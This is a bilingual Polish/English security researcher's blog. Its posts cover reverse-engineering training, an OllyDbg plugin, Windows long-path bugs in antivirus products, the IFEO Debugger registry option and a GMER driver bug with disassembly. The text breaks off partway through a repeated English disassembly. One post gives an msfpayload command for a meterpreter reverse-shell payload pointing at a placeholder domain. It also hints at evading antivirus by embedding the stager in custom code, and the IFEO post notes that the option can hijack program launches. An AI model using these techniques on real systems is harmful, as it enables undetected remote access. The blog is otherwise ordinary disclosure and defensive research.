RET'urn

Po długim czasie nie publikowania postów na blogu czas odwrócić tą tendencje, chociaż jak będzie czas pokaże ;).
Patrząc na datę poprzedniego wpisu uświadomiłem sobie, że to już praktycznie rok od nie-postowania o_0: Co tak absorbowało mnie przez ostatnie miesiące ?

{ Uczelnia }

Do lipca tego roku byłem studentem Pwr, BYŁEM, ponieważ we wspomnianym przed chwilą miesiącu uzyskałem jakże upragniony,wyczekiwany,niesamowity,przecudowny, zmieniający moje życie tytuł inżyniera. tak tak inż. Icewall 😉 [szczerze, to do dnia dzisiejszego jeszcze nie odebrałem dyplomu :P, także jak widać bardzo się dotychczas przydaje:P]. Jeżeli chodzi o wpływ uczelni na mój czas od lutego do lipca to był on dość znaczący. Pomimo przeróżnych kursów od eksploracji danych po rozproszone systemy do zrealizowania było ZPI(Zespołowe przedsięwzięcie inżynierskie). Temat pracy: “Lokalizacja pozycji przy pomocy urządzeń mobilnych z wbudowanym GPS.”. Temat okazał się bardziej wymagający niż to się na początku mogło wydawać ( jak to zwykle bywa;) ), nie ze względu na logiczny poziom skomplikowania, ale raczej na mnogość nowych wtedy dla nas technologi, na które się zdecydowaliśmy: WCF, klient na Android’a, klient na Windows Mobile, spięcie tego w całość + masa innych technologi. To wszystko w połączeniu z tworzeniem materiałów na szkolenia, sukcesywnym ich upgrade’owaniu, prowadzeniu szkoleń po całej Polsce dało mi zajęcie na 24/7 ;).

{ Szkolenia }

Jeżeli chodzi o szkolenia to mija już praktycznie rok od podpisania umowy z Compendium CE i niewiele poniżej jeżeli chodzi o współprace z niebezpiecznikiem.
Cały ten okres współpracy mogę podsumować śmiało bardzo pozytywnie zarówno ze strony organizacyjnej jak i wrażeń jakich dostarczają mi “studenci” na szkoleniach ;). Myślę, że dzięki specyficznym tematyką szkoleń, które prowadzę nie zdarzają się ludzie z przypadku, wepchnięci “bo szef kazał” co mnie zdecydowanie cieszy. Pisząc ten fragment odnośnie szkoleń pomyślałem o jednej kwestii:
Jeżeli, ktoś byłby zainteresowany tematem tego jak wygląda prowadzenie szkolenia od kuchni lub rozmyśla czy rozmyślał o rozpoczęciu podobnej ścieżki w swojej karierze to z chęcią udzielę odpowiedzi. Pytania można zadawać w komentarzach lub mailowo. Jeżeli będzie ich wystarczająco dużo, a zadający zezwolą na ich publikacje to myślę, że śmiało będę w stanie kliknąć na ten temat jeden z kolejnych postów.

{ Pentesty }

Jako, że w ostatnim czasie zlecenia z Hispasec dotyczą głównie pentestów czy prowadzenia prelekcji online, to nie bardzo byłem w stanie dzieli się detalami z tych akcji ;). ALE….
Co jakiś czas podczas pentestu wpada mi do głowy pomysł zautomatyzowania pewnych działań, i tak np. zrodziła się idea naklikania modułu do metasploit’a : vhost_finder, o którym mam zamiar napisać następny post. Kolejną interesującą kwestią było stworzenie na potrzeby jednego z pentestów nie wykrywalnego backdoor’a. Oczywiście można tworzyć koło od nowa, ale trudno będzie uzyskać lepszą funkcjonalność niż ta która dostarcza meterpreter wraz z metasploit’em. Na chwile obecną proste utworzenie exe’ka poprzez
ruby msfpayload windows/meterpreter/reverse_tcp_dns LHOST=your.domain.com LPORT=1337 R | ruby msfencode -c 10 -o msf.exe -t exe nie zadziała z prostych przyczyn ;). Jednak okazuje się, że prosty export stager’a i odpalenie go we własnym kodzie załatwia sprawę ;).
Jeżeli chodzi o inne badania nad którymi pracowałem/obecnie pracuje to nie będę wiele zdradzał, jedno z nich opisuje ten screenshot:

so stay tuned ;).

Posted in Ogólne | Tagged , , , , , , | Leave a comment

Szkolenia – Reverse Engineering i Analiza Malware’u

Tak tak szkolenia czas zacząć !!! 😉
Już jakiś rok temu razem z Gynvael’em wpadliśmy na pomysł organizowania szkoleń w Polsce. Z głosów, które do nas docierały wynikało, że spora liczba osób jest zainteresowana tematyką RE czy pentestingiem. Był już plan działania, wykupiona domena, strona www, niestety jednak, Gyn w niedługim czasie został uprowadzony przez Google, a ja porzuciłem ten projekt z tego względu, że nie chciałem kontynuować go w pojedynkę.
Parę miesięcy temu temat stał się na nowo żywy za sprawą propozycji Piotrka Koniecznego (niebezpiecznik.pl) związanej właśnie z prowadzeniem szkoleń. Poczytując niebezpiecznika wiedziałem, że jego społeczność skupia rzesze osób, która będzie zainteresowana tematyką RE,dlatego bez większego wahania zgodziłem się to zrobić ;).
Po wielu wielu godzinach przemyśleń i zastanawiań się nad tym, jak w najlepszy sposób nauczyć Was Reverse engineering, ile godzin poświęcić na dane zagadnienie, jak rozdzielić zagadnienia podstawowe o tych bardziej zaawansowanych. Powstały ostatecznie dwa szkolenia:
Wstęp do Reverse Engineeringu (2 dni)
Analiza Malware’u — Zaawansowany Reverse Engineering (2 dni)
Wszystkich niezbędnych detali o każdym ze szkoleń dowiecie się z powyższych linków.
Gdybyście mieli jednak jakieś pytania czy sugestie piszcie śmiało.
Nie pozostało mi nic innego jak zaprosić Was na dobrą zabawę w postaci 2’u dniowych szkoleń z udziałem Olka,IDA’y,Sinowala,Bankerów i innych bytów ;).

Posted in Malware, RE | Tagged , , , , , | 2 Comments

NameChanger ver 1.0 – OllyDbg plugin

Ostatnio powróciłem do dawno porzuconego pomysłu stworzenia pluginu dla Olka, który będzie dostarczał podobną funkcjonalność odnośnie zmiany
nazwy/wartości m.in funkcji czy stałej jak IDA.
Myślę, że najlepiej jego zastosowanie i funkcjonalność przedstawić w akcji:
[+]Sposób użycia
Powiedzmy, żę chcemy zmienić nazwę CALL’a z domyślnej reprezentowanej przez adres na bardziej przyjazną nam.
Wybieramy linie w oknie disasembler’a, w której występuje interesujący nas CALL:

następnie PPM i wybieramy Change value:

w widocznym poniżej okienku wpisujemy proponowaną przez nas nazwę i zatwierdzamy ją poprzez ENTER lub kliknięcie przycisku Set:

Otrzymany efekt wygląda następująco:

[+]Propozycja zastosowań
A oto lista przykładów prezentująca prawdopodobnie wszystkie możliwe miejsca w kodzie gdzie można zastosować omawiany plugin:

==CALL==
004012D7   .  E8 EC110000      CALL Project2.004024C8
004012D7   .  E8 EC110000      CALL <project2.some_call>
==JMP==
004012F5      E9 1E120000      JMP Project2.00402518
004012F5      E9 1E120000      JMP <project2.some_jump>
==Global variable==
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[403071]
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[<g_variable>]
0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[40307F]
0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[<g_variable>]
(...)

Plugin można pobrać stąd : NameChanger.zip
Oczywiście zapraszam do testowania i przesyłania mi feedbacku o ewentualnych zmianach jakie powinny zajść w kolejnej wersji itp.I recently returned to an idea of an OllyDbg plug-in which would provide functionality similar like in an IDA related with inter alia :changing name of functions or setting more readable form for global variables.
I think that the best way to present its adoption and functionality is to see it in an action:
[+]How to use it?
Let’s we say that we want to change a name of CALL from a default one represented by address to more readable for us. We choose a line in a disassembly window where interesting for us CALL is located:

next RMB and we choose Change value:

In visible below window we put proposed by us new name and then confirm it via an ENTER or a Set button:

Obtained effect looks as follows:

[+]Proposed uses
Below you can find probably all possible places in a disassembler where plug-in can be use:

==CALL==
004012D7   .  E8 EC110000      CALL Project2.004024C8
004012D7   .  E8 EC110000      CALL &lt;Project2.some_call&gt;
==JMP==
004012F5      E9 1E120000      JMP Project2.00402518
004012F5      E9 1E120000      JMP &lt;Project2.some_jump&gt;
==Global variable==
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[403071]
004012FC   .  A0 71304000      MOV AL,BYTE PTR DS:[&lt;g_variable&gt;]
0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[40307F]
0040135F   .  FF35 7F304000    PUSH DWORD PTR DS:[&lt;g_variable&gt;]
(...)

Plug-in can be downloaded from here : NameChanger.zip
Of course all kind of constructive feedback is welcome 😉

Posted in Aplikacja, RE | Tagged , , | 9 Comments

Maksymalna długość ścieżki pod Windows’em


Być może jesteś jedną z osób, która do tego momentu wierzyła, że maksymalna długością ścieżki, jaką może ona osiągnąć pod Windows’em jest określona przez MAX_PATH ( 256 znaków ). NIC BARDZIEJ MYLNEGO!!!!
W dokumencie, który możecie pobrać poniżej opisałem m.in:

– jaka jest maksymalna długość ścieżki i z czego to wynika
– w jaki sposób uzyskać możliwość tworzenia ścieżek dłuższych niż MAX_PATH
– detale prezentujące konkretne api, w których odbywa się sprawdzanie długości ścieżki, jej typy, itp.

te i wiele innych kwestii.
Oczywiście, jeżeli jakiś programista założył, że maksymalną długością ścieżki jest MAX_PATH, to w najlepszym wypadku jego aplikacja będzie nie w pełni funkcjonalna, a w najgorszym można spodziewać się takich błędów jak buffer overflow. Aby przekonać się o słuszności swojej teorii postanowiłem przetestować „tolerancje” aplikacji anty-wirusowych na długie ścieżki. Rezultaty tych testów możecie obejrzeć w dokumencie, tutaj powiem tylko, że spora grupa wykazała oba powyżej opisane objawy.
A teraz czas na małą i IMO zachęcającą do wzięcia tematu długich ścieżek na poważnie galerię:

AVAST 5.0.594.0


AVIRA 10.0.0.567


Norton 17.6.0.32


Sophos 9.5.1

I na koniec najnowsza wersja gmer’a na dzień 15.10.2010 GMER 1.0.15.15315 ( ostatni bug raportowany przezemnie został załatany, jednak jak widać nie do końca 😉 )

Dokument w wersji angielskiej można pobrać stąd: Windows LongPaths – extended-length paths
Maybe you are one of persons who belived for this moment that maximal length of path in Windows is equal to MAX_PATH ( 260 signs). Nothing further from the truth !!!.
In document which you can download below I have described inter alia:

– what is the maximum path length and from which it follows
– in how achieve possibility to create paths longer than MAX_PATH
– details related with WinApi, where path length and it’s type is tested.

this and more issues.
Of course, if some programmer assumed that maximal path length is 260 signs, his application in the best scenario won’t be fully functional in but in the worst scenario we can expect bugs that kind like buffer overflow.
To convince myself to validity of this theory, I decided to test anti-virus applications “tolerance” on such paths. Results of those tests you can review in a mentioned document, here I can only say that quite a lot of anti-virus showed described above signs.
And now, it’s time for a little gallery which IMO encourage you to treatment existence of long paths like a real problem:
AVAST 5.0.594.0


AVIRA 10.0.0.567


Norton 17.6.0.32


Sophos 9.5.1

At the end the newest version of gmer on day 15.10.2010 GMER 1.0.15.15315 ( the last bug reported by me has been patched, but like we can see there is still more problems in this area 😉 ).

The document can be downloaded from here: Windows LongPaths – extended-length paths
Greetz to Emiliano Martinez Contreras for a translation from IceEng to more readable form ;).

Posted in Analiza, Bez kategorii, RE, Security | Tagged , , , , , , , | 14 Comments

IFEO, czyli Image File Execution Option

Przyglądając się ostatnio dokładnie procedurze tworzenia nowego procesu w systemie, natchnąłem się na IMO dość mało popularną funkcjonalność, jaką jest „Image File Execution Options”(IFEO) . Jej konfiguracji dokonujemy poprzez modyfikacje kluczy w następującej gałęzi rejestru:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

Jakie możliwości daje nam ta funkcjonalność możecie przeczytać tutaj:
http://blogs.msdn.com/b/junfeng/archive/2004/04/28/121871.aspx
ja skupie się jedynie na jednej wybranej opcji, która nazywa się Debugger .
Opcja ta pozwala nam na automatyczne podpięcie wybranego, debugera do nowo utworzonego procesu, którego nazwa pliku wykonywalnego znajduje się w gałęzi IFEO jako klucz.
[+]Przykład
Powiedzmy, że chcemy podpiąć Olka za każdym razem do notepad’a jak tylko jego proces zostanie utworzony. Wtedy wpis w IFEO powinien wyglądać następująco:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsNOTEPAD.EXE]
"Debugger"="D:\tools\RE\shadow-ollydbg\shadow\Shadow.exe"

Nie musimy ręcznie tworzyć/modyfikować klucza oraz wartości w rejestrze. Możemy posłużyć się aplikacją Gflag, która wchodzi w skład pakietu Debugging Tools for Windows.

[+]Kiedy owa funkcjonalność okazuje się przydatna?
Cały ten post praktycznie pisze ze względu na to, że nie spotkałem się, z tym żeby ktoś proponował użycie powyższej opcji, w przypadku, kiedy chcemy podpiąć debuger do procesu dziecka tworzonego przez malware. Myślę, że jest to dość wygodna metoda obok modyfikacji, EP po przez umieszczenie tam nieskończonej pętli EB FE czy breakpoint’u i ustawienie Olka jako JIT debuger.
[+]Złowieszcze użycie opcji Debugger
Zamiast wartości wskazującej na debuger możemy umieścić ścieżkę, do dowolnie innej aplikacji, która będzie uruchamiana zamiast tej żądanej. Ktoś „pomysłowy” mógłbym stworzyć wpis dla IE uruchamiający za każdym razem jej odpowiednio zmodyfikowaną wersje.

Posted in RE, Security | Tagged , , | 6 Comments

Zapomniane PHP advisory

W czasie wakacji 2009 razem z Gyn’em i j00ru przysiedliśmy nad szukaniem bug’ów w PHP’e, ale nie był to typowy bughunt ;).
O przebiegu analizy PHP możecie przeczytać w bliźniaczym poście Gynvael’a Stare advisory PHP EXIF.
Paczka zawierająca następujące advisory:
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 1
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 2
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 3
PHP 5.2.10 / 5.3.0 Multiple Memory Disclosure

do pobrania tutaj -> PHP AdvisoryDuring vacations 2009 together with Gynvael Coldwind and j00ru we have been searching for a potential bugs in PHP, but it wasn’t a typical bughunt;). You can read about all details from this even on Gynvael’s blog.
Package contains the following advisory:
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 1
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 2
PHP 5.2.10 / 5.3.0 EXIF Denial of Service 3
PHP 5.2.10 / 5.3.0 Multiple Memory Disclosure

download -> PHP Advisory

Posted in Bez kategorii, Security | Tagged , , , , , , | Leave a comment

GMER 1.0.15.15281 Buffer overflow 0day

Podczas pewnych badań, których rezultat przedstawie niebawem, odkrylem błąd w gmer’e doprowadzający do przepełnienia bufora.
(nie)Stety ze wzgledu na zastosowanie kanarkow w kodzie jaki i jego charakter w obrebie funkcji, w ktorej nastepuje przepelnienie, nie mozliwy jest code exec.
Pomimo moich paru prób kontaktu z autorem gmer’a wciąż nie otrzymalem żadnej odpowiedzi, a wnioskując po dostępnej wersji na dzień dzisiejszy żadne widoczne działania nie zostały podjęte w kierunku załatania problemu. No coż ;), pozostaje mi jedynie podzielić się z wami advisory, które są do pobrania tutaj:
<= GMER 1.0.15.15281 Buffer overflow 0dayDuring some research which results I’m going to publish in near future, I discovered a bug in a gmer win32 application causes a buffer overflow.
(un)Fortunatelly because of existing security cookies in code and it’s character near function where BO appears, it’s not possible to
achieve code exec.
Although couples of my tries to contact with gmer’s author I didn’t get any response for this day and unfortunatelly bug has not been fixed yet also. So ;), only thing I can do now is to share with you an advisories, which you can download from here:
<= GMER 1.0.15.15281 Buffer overflow 0day

Posted in Security | Tagged , , , , , , , | Leave a comment

LapSec – Hispasec

Około roku temu jeden z moich hiszpańskich kolegów, a dokładnie Sergio de los Santos wpadł na pomysł niewielkiej aplikacji. Jej architektura miała być oparta o regułę KISS, a główne zadanie polegać na zmianie domyślnych ustawień windows’a, które w wielu przypadkach ujemnie wpływały na bezpieczeństwo systemu. Pomysł był gotowy, teraz tylko wystarczało znaleźć osobę chętną do jego implementacji. Jak się domyślacie Sergio zwrócił się z tym pomysłem do mnie i tak zostałem głównym i jedynym dev’em tego projektu ;).
Po ukończeniu, projekt przeleżał w szufladzie około roku, ponieważ nie było dokładnie znane jego przeznaczenie (komercyjne, freeware,?etc). Jednak w tym tygodniu Sergio poinformował mnie, że mamy zielone światło na publikacje tego tool’a w wersji freeware ;).
I tak oto światło dzienne ujrzał LapSec!
lapsec1
[+]Jaką funkcjonalność posiada LapSec?
Myślę, że sporo można wyczytać z powyższego screen’a ;). Jeśli jednak, ktoś życzy sobie czytelniejszą listę dostępnych opcji,
zapraszam na stronę poświęconą LapSec’owi -> LapSec Laptop Securer.
[+]Czy LapSec posiada więcej opcji niż te widoczne na screen’e?
Binarka LapSec.exe nie, ale wraz z LapSec’emi instalowany jest SecDel, który z menu kontekstowego
secdel
pozwala na bezpieczne usunięcie pliku. Co to znaczy ? Tzn, że założeniem tej aplikacji jest jak najskuteczniejsze nadpisanie danych powiązanych z konkretnym pliki w celu uniemożliwienie ich przywrócenia przez aplikacje do odzyskiwania danych.
[+]Dla kogo jest ten tool?
Naprawdę trudno jest mi to powiedzieć :D. I z chęcią usłyszę jakie są wasze odczucia w tej kwestii.
Hymm to chyba na tyle ;). Czekamy na wasze opinie, propozycje, uwagi i słowa krytyki ;).
LapSec setup.exe
md5: 042b3dde2f0674d0dc57b1ea1ac082f3
sha1: 0b376e42e77698e6294b772601ff85e5061730af

Więcej info: Laptop Securer
More info you can find here:
http://www.hispasec.com/lapsec/index_en_html

Posted in Aplikacja | Tagged , , , , , , , , , | Leave a comment

Błąd logiczny w GMER

Przy okazji badań opisanych w ostatnim poście, odkryłem w sterowniku gmer’a pewien błąd logiczny mogący powodować nieprawidłowe działanie losowych aplikacji.
Żeby przybliżyć sobie kwestię, o której będę pisał polecam zajrzeć do punktu drugiego poprzedniego postu, a dokładnie do implementacji rozwiązanie w ring0.
Do rzeczy, naszym obiektem zainteresowań jest najnowszy sterownik gmer’a na dzień 22.07.2010:
FileVersion : 1, 0, 15, 4809 built by: WinDDK
[+]Lokalizacja problemu
Jeśli jakiś plik nie może zostać usunięty w standardowy sposób, gmer stara się zamknąć wszystkie otwarte handlery odwołujące się do tego pliku, a następnie go usunąć. Moim zdaniem, niestety implementacja tej procedury przez twórcę gmer’a nie została do końca dobrze przemyślana.
Rzućmy okiem na tą prockę:

.text:0001B488 ; int __stdcall sub_1B488(wchar_t *filePath, int a2)
.text:0001B488 sub_1B488       proc near               ; CODE XREF: sub_1CB32+299p
.text:0001B488
.text:0001B488 PFILE_OBJECT    = dword ptr -30h
.text:0001B488 var_2C          = dword ptr -2Ch
.text:0001B488 var_28          = dword ptr -28h
.text:0001B488 PSYSTEM_HANDLE_INFORMATION= dword ptr -24h
.text:0001B488 pEPROCESS       = dword ptr -20h
.text:0001B488 index           = dword ptr -1Ch
.text:0001B488 ms_exc          = CPPEH_RECORD ptr -18h
.text:0001B488 filePath        = dword ptr  8
.text:0001B488 a2              = dword ptr  0Ch
.text:0001B488
.text:0001B488                 push    20h
.text:0001B48A                 push    offset stru_1EED0
.text:0001B48F                 call    __SEH_prolog
.text:0001B494                 xor     esi, esi
.text:0001B496                 mov     [ebp+pEPROCESS], esi
.text:0001B499                 lea     eax, [ebp+var_28]
.text:0001B49C                 push    eax             ; int
.text:0001B49D                 push    10h             ; SystemHandleInformation
.text:0001B49F                 call    wrap_NtQuerySystemInformation
.text:0001B4A4                 mov     [ebp+PSYSTEM_HANDLE_INFORMATION], eax
.text:0001B4A7                 cmp     eax, esi
.text:0001B4A9                 jz      error
.text:0001B4AF                 mov     [ebp+ms_exc.disabled], esi
.text:0001B4B2                 mov     [ebp+index], esi
.text:0001B4B5                 mov     ebx, ds:NtClose
.text:0001B4BB
.text:0001B4BB loc_1B4BB:                              ; CODE XREF: sub_1B488+119j
.text:0001B4BB                 mov     ecx, [ebp+index]
.text:0001B4BE                 cmp     ecx, [eax]      ; eax = NumberOfHandles
.text:0001B4C0                 jnb     end_of_SYSTEM_HANDLE_INFORMATION
.text:0001B4C6                 shl     ecx, 4
.text:0001B4C9                 lea     edi, [ecx+eax+4]
.text:0001B4CD                 mov     [ebp+var_2C], edi
.text:0001B4D0                 mov     esi, [edi+8]
.text:0001B4D3                 mov     [ebp+PFILE_OBJECT], esi
.text:0001B4D6                 test    esi, esi
.text:0001B4D8                 jz      next_struct
.text:0001B4DE                 push    esi             ; VirtualAddress
.text:0001B4DF                 call    ds:MmIsAddressValid
.text:0001B4E5                 test    al, al
.text:0001B4E7                 jz      next_struct
.text:0001B4ED                 cmp     word ptr [esi], 5
.text:0001B4F1                 jnz     next_struct
.text:0001B4F7                 mov     eax, [esi+34h]
.text:0001B4FA                 test    eax, eax
.text:0001B4FC                 jz      next_struct
.text:0001B502                 push    eax             ; VirtualAddress
.text:0001B503                 call    ds:MmIsAddressValid
.text:0001B509                 test    al, al
.text:0001B50B                 jz      next_struct
.text:0001B511                 push    [ebp+filePath]  ; VirtualAddress
.text:0001B514                 call    ds:MmIsAddressValid
.text:0001B51A                 test    al, al
.text:0001B51C                 jz      short next_struct
.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen
.text:0001B527                 pop     ecx
.text:0001B528                 sub     eax, 6
.text:0001B52B                 mov     [ebp+a2], eax
.text:0001B52E                 movzx   ecx, word ptr [esi+30h] ; fileObject-&amp;amp;gt;FileName.Length
.text:0001B532                 shr     ecx, 1
.text:0001B534                 cmp     ecx, eax
.text:0001B536                 jnz     short next_struct
.text:0001B538                 push    eax             ; size_t
.text:0001B539                 mov     eax, [ebp+filePath]
.text:0001B53C                 add     eax, 0Ch
.text:0001B53F                 push    eax             ; wchar_t *
.text:0001B540                 push    dword ptr [esi+34h] ; fileObject->FileName.Buffer
.text:0001B543                 call    ds:_wcsnicmp
.text:0001B549                 add     esp, 0Ch
.text:0001B54C                 test    eax, eax
.text:0001B54E                 jnz     short next_struct
.text:0001B550                 lea     eax, [ebp+pEPROCESS]
.text:0001B553                 push    eax
.text:0001B554                 push    dword ptr [edi]
.text:0001B556                 call    ds:PsLookupProcessByProcessId
.text:0001B55C                 mov     status, eax
.text:0001B561                 test    eax, eax
.text:0001B563                 jnz     short next_struct
.text:0001B565                 mov     eax, [ebp+pEPROCESS]
.text:0001B568                 cmp     eax, current_process_EPROCESS
.text:0001B56E                 jz      short handleBelongsToCurrentProcess
.text:0001B570                 push    eax
.text:0001B571                 call    ds:KeAttachProcess
.text:0001B577                 movzx   eax, word ptr [edi+6]
.text:0001B57B                 push    eax             ; Handle
.text:0001B57C                 call    ebx ; NtClose
.text:0001B57E                 mov     status, eax
.text:0001B583                 call    ds:KeDetachProcess
.text:0001B589                 jmp     short loc_1B592
.text:0001B58B ; ---------------------------------------------------------------------------
.text:0001B58B
.text:0001B58B handleBelongsToCurrentProcess:          ; CODE XREF: sub_1B488+E6j
.text:0001B58B                 movzx   eax, word ptr [edi+6]
.text:0001B58F                 push    eax             ; Handle
.text:0001B590                 call    ebx ; NtClose
.text:0001B592
.text:0001B592 loc_1B592:                              ; CODE XREF: sub_1B488+101j
.text:0001B592                 mov     ecx, [ebp+pEPROCESS] ; Object
.text:0001B595                 call    ds:ObfDereferenceObject
.text:0001B59B
.text:0001B59B next_struct:                            ; CODE XREF: sub_1B488+50j
.text:0001B59B                                         ; sub_1B488+5Fj ...
.text:0001B59B                 inc     [ebp+index]
.text:0001B59E                 mov     eax, [ebp+PSYSTEM_HANDLE_INFORMATION]
.text:0001B5A1                 jmp     loc_1B4BB
.text:0001B5A6 ; ---------------------------------------------------------------------------
.text:0001B5A6
.text:0001B5A6 _end:                                   ; DATA XREF: .rdata:stru_1EED0o
.text:0001B5A6                 xor     eax, eax
.text:0001B5A8                 inc     eax
.text:0001B5A9                 retn

Gdzie tu jest problem?
Przyjrzyjmy się samej kwesti odnalezienia przez gmer’a uchwytu, który jest powiązany z plikiem do którego handlery chcemy pozamykać. Autor gmer’a postanowił tutaj skorzystać z dostarczonego w
strukturze SYSTEM_HANDLE_INFORMATION FILE_OBJECT’u i slusznie,no ale…
Sprawdzenie rozpoczyna się od zbadania długości scieżki podanej jako argument i tej zawartej w file object’e.

.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen
.text:0001B527                 pop     ecx
.text:0001B528                 sub     eax, 6
.text:0001B52B                 mov     [ebp+a2], eax
.text:0001B52E                 movzx   ecx, word ptr [esi+30h] ; fileObject->FileName.Length
.text:0001B532                 shr     ecx, 1
.text:0001B534                 cmp     ecx, eax
.text:0001B536                 jnz     short next_struct

Jeśli długości są identyczne przechodzimy do następnego testu. Zanim jednak przejde dalej odczuwam wielką potrzebe czepienia się jednej kwestii związaną z dobrymi praktykami jak i optymalizacją kodu.
Chodzi dokładnie o ten fragment:

.text:0001B51E                 push    [ebp+filePath]  ; wchar_t *
.text:0001B521                 call    ds:wcslen

Ten fragment znajduję się wewnątrz pętli i przy każdej iteracji, kiedy obiektem okazuje się plikiem, wywoływana jest zupełnie bez sensownie funkcja wcslen na zmiennej filePath, która została podana jako parametr do sub_1B488!!! Takie wielokrotne wyliczanie tej samej wartości wewnątrz pętli prowadzi do niczego innego niż zmniejszenia wydajności kodu a w tym przypadku wydajność będzie mala wręcz wprost proporcjonalnie do długości stringu. Także, nie polecam takich konstrukcji ;)(btw: jak zobaczyłem ten twór to przypomniał mi się post Malcom’a „Programowanie wymaga myślenia!” http://blog.malcom.pl/2009/09/09/programowanie-wymaga-myslenia/, polecam).
Kontynuujmy:

.text:0001B538                 push    eax             ; length
.text:0001B539                 mov     eax, [ebp+filePath]
.text:0001B53C                 add     eax, 0Ch
.text:0001B53F                 push    eax             ; wchar_t *
.text:0001B540                 push    dword ptr [esi+34h] ; fileObject->FileName.Buffer
.text:0001B543                 call    ds:_wcsnicmp

Tutaj dokonywane jest już porównanie stringów reprezentujących ścieżki do plików.
Ale, ale !!! Nie jest to porównanie zawierające litery partycji, na której dany plik się znajduje!!!
Ścieżki mają tu postać:
„\folder\file.ext”
Tylko i wyłącznie takie porównanie doprowadza do sytuacji, w której handler powiązany z plikiem o takiej samej scieżce jak scieżka podana jako parametr funkcji, lecz znajdujący się na innej partycji zostanie zamknięty!!!
[+]Przykład
Na potrzeby testów stworzyłem niewielką aplikację, która otwiera handler do pliku bez praw do usunięcia( bez FILE_SHARE_DELETE, w celu zmuszenia gmer’a do wywołania powyżej omawianej procki). Kod tej aplikacji jest następujący:

int main(int argc, char* argv[])
{
	HANDLE h = CreateFileA(argv[1],
				GENERIC_READ,
				FILE_SHARE_READ | FILE_SHARE_WRITE,
				0,
				OPEN_EXISTING,
				FILE_ATTRIBUTE_NORMAL,
				0);
	if(h == INVALID_HANDLE_VALUE)
	{
		cout<<"&#91;+&#93;INVALID_HANDLE_VALUE"<<endl;
		cout<<getLastError();
		return 0;
	}
	cout<<"&#91;+&#93;File opened"<<endl;
	getchar();
}
&#91;/cpp&#93;
oraz narzędzia Handle v3.42, do wylistowania wszystkich otwartych handlerów przez dany proces. Na dwóch konsolach odpaliłem swój kod skompilowany do pliku zlo.exe z następującymi parametrami:
&#91;code&#93;
Console_1:
zlo.exe C:\install.exe
&#91;/code&#93;
oraz
&#91;code&#93;
Console_2:
zlo.exe E:\install.exe
&#91;/code&#93;
Po odpaleniu aplikacji wylistowałem otwarte przez nie handler:
&#91;code&#93;
// Przed proba usuniecia C:\install.exe &#91;+&#93;
c:\Documents and Settings\virtual&amp;amp;gt;handle.exe -p zlo.exe
Handle v3.42
Copyright (C) 1997-2008 Mark Russinovich
Sysinternals - www.sysinternals.com
------------------------------------------------------------------------------
zlo.exe pid: 1928 SLAVE\virtual
    C: File  (RW-)   C:\Documents and Settings\virtual
  7E8: File  (RW-)
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
  7F4: File  (RW-)   C:\install.exe
------------------------------------------------------------------------------
zlo.exe pid: 932 SLAVE\virtual
    C: File  (RW-)   C:\Documents and Settings\virtual
  7E8: File  (RW-)
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
  7F4: File  (RW-)   E:\install.exe
&#91;/code&#93;
Następnie przy pomocy gmer’a usunąłem plik C:\install.exe i ponownie wylistowałem handlery:
&#91;code&#93;
//Po usunieciu przez gmer'a C:\install.exe
c:\Documents and Settings\virtual&amp;amp;gt;handle.exe -p zlo.exe
Handle v3.42
Copyright (C) 1997-2008 Mark Russinovich
Sysinternals - www.sysinternals.com
------------------------------------------------------------------------------
zlo.exe pid: 1928 SLAVE\virtual
    C: File  (RW-)   C:\Documents and Settings\virtual
  7E8: File  (RW-)
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
------------------------------------------------------------------------------
zlo.exe pid: 932 SLAVE\virtual
    C: File  (RW-)   C:\Documents and Settings\virtual
  7E8: File  (RW-)
C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.21022.8_x-ww_d08d0375
&#91;/code&#93;
Efekt potwierdził moją teorie, tak jak widać uchwyt do E:\install.exe również został zamknięty.
&#91;+&#93;Rada
Dodanie pełnego badania ścieżek do plików m.in z wykorzystaniem np. IoQueryFileDosDeviceName.
No i chyba tyle;)<!--:--><!--:en-->Messing a little bit recently with a gmer's code I discovered logical bug which can cause abnormal behavior of an random applications.
Our object of interest will be the newest gmer's driver on day 22.07.2010.
      FileVersion	: 1, 0, 15, 4809 built by: WinDDK
[+]Localization of a problem
If some file can't be deleted in the usual way, gmer will try to close all opened handlers related with this file and after it delete file.
In my opinion implementation of this procedure has not been thought out correctly.
Let's take a look at this routine:

.text:0001B488 ; int __stdcall sub_1B488(wchar_t *filePath, int a2)
.text:0001B488 sub_1B488       proc near               ; CODE XREF: sub_1CB32+299 p
.text:0001B488
.text:0001B488 PFILE_OBJECT    = dword ptr -30h
.text:0001B488 var_2C          = dword ptr -2Ch
.text:0001B488 var_28          = dword ptr -28h
.text:0001B488 PSYSTEM_HANDLE_INFORMATION= dword ptr -24h
.text:0001B488 pEPROCESS       = dword ptr -20h
.text:0001B488 index           = dword ptr -1Ch
.text:0001B488 ms_exc          = CPPEH_RECORD ptr -18h
.text:0001B488 filePath        = dword ptr  8
.text:0001B488 a2              = dword ptr  0Ch
.text:0001B488
.text:0001B488                 push    20h
.text:0001B48A                 push    offset stru_1EED0
.text:0001B48F                 call    __SEH_prolog
.text:0001B494                 xor     esi, esi
